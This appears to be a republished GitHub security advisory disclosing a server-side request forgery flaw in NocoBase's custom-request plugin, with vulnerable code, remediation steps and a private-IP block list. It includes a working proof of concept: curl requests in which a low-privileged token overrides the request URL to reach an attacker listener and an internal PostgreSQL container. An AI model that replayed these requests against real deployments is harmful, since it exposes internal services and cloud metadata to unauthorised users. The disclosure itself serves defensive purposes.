
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 2.1.0-alpha.8, < 2.1.15
Patched in 2.1.15
Vulnerable: >= 2.2.0-alpha.1, < 2.2.0-alpha.4
Patched in 2.2.0-alpha.4
Details
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.
A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
@nocobase/plugin-action-custom-requestTesting was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.
Lab environment:
nocobase/nocobase:latest-full23e2bd35625439594e4757bac31d57c9e8e695b9nocobase-lab, nocobase-postgres172.19.0.0/16SERVER_REQUEST_WHITELIST was not setThe vulnerable endpoint is:
POST /api/customRequests:send?filterByTk=<key>
The customRequests:send action is allowed for any logged-in user:
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');
The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;
The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}
If SERVER_REQUEST_WHITELIST is not configured, the server-side request whitelist check is bypassed:
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;
As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
First, an administrator creates a valid Custom Request config. This is a setup step only.
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'
Expected result:
HTTP/1.1 200 OK
If the key already exists, this setup step can be skipped.
Evidence:
<img width="1467" height="619" alt="Admin creates Custom Request config" src="https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6" />On the attacker-controlled host in the local lab:
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0
Example attacker host IP in the local lab:
192.168.1.139
Evidence:
<img width="888" height="195" alt="image" src="https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89" />The low-privileged user calls customRequests:send and overrides options.url at runtime:
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"
Expected response:
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase server
Evidence:
<img width="959" height="570" alt="Low-privileged user triggers SSRF" src="https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77" />The attacker-controlled HTTP listener receives:
GET /ssrf-proof HTTP/1.1
This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
<img width="744" height="206" alt="Listener receives GET /ssrf-proof" src="https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051" />The same low-privileged user can target an internal Docker service:
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'
Observed response:
{"message":"socket hang up"}
This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
Confirmed in the local lab:
nocobase-postgres:5432 was reachableThis can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
customRequests:send to administrators or specifically authorized roles.- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
Do not allow low-privileged users to override stored request URLs at runtime.
Require SERVER_REQUEST_WHITELIST by default in production Docker images.
Block private/internal IP ranges by default, including:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
Resolve DNS and validate the final resolved IP address before making the outbound request.
Revalidate the target after redirects.
Add SSRF regression tests for:
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges
More npm advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.